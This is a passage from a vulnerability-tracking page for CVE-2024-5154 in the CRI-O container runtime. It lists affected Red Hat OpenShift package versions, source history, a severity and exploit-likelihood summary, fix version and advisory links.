before 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 |
cri-o-debuginfoRed Hat:openshift:4.13::el8 |
before 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 |
cri-o-debugsourceRed Hat:openshift:4.13::el8 |
before 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el8 |
cri-oRed Hat:openshift:4.13::el9 |
before 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 |
cri-o-debuginfoRed Hat:openshift:4.13::el9 |
before 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 |
cri-o-debugsourceRed Hat:openshift:4.13::el9 |
before 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 | 0:1.26.5-18.2.rhaos4.13.git2e90133.el9 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | EUVD, NVD, OSV | |
| facts | CVE List | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-5154 is a high vulnerability (CVSS 8.1) in Kubernetes Cri-o, published June 4, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.24%, the 69th percentile. Fixed in github.com/cri-o/cri-o 1.28.7.
References
access.redhat.com/errata/RHSA-2024:10818
access.redhat.com/errata/RHSA-2024:3676
access.redhat.com/errata/RHSA-2024:3700
access.redhat.com/errata/RHSA-2024:4008
access.redhat.com/errata/RHSA-2024:4159
access.redhat.com/errata/RHSA-2024:4486
Show 21 moreShow less
access.redhat.com/security/cve/CVE-2024-5154
bugzilla.redhat.com/show_bug.cgi?id=2280190
github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
nvd.nist.gov/vuln/detail/CVE-2024-5154
pkg.go.dev/vuln/GO-2024-2919
github.com/advisories/GHSA-j9hf-98c3-wrm8
access.redhat.com/downloads/content/package-browser
catalog.redhat.com/software/containers
github.com/CVEProject/cvelistV5/tree/main/cves/2024/5xxx/CVE-2024-5154.json
github.com/cri-o/cri-o
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_3676.json
cve.org/CVERecord?id=CVE-2024-5154
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_3700.json
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_4008.json
bugzilla.redhat.com/show_bug.cgi?id=2274767
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_4159.json
access.redhat.com/security/cve/CVE-2024-3727
cve.org/CVERecord?id=CVE-2024-3727
nvd.nist.gov/vuln/detail/CVE-2024-3727
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_4486.json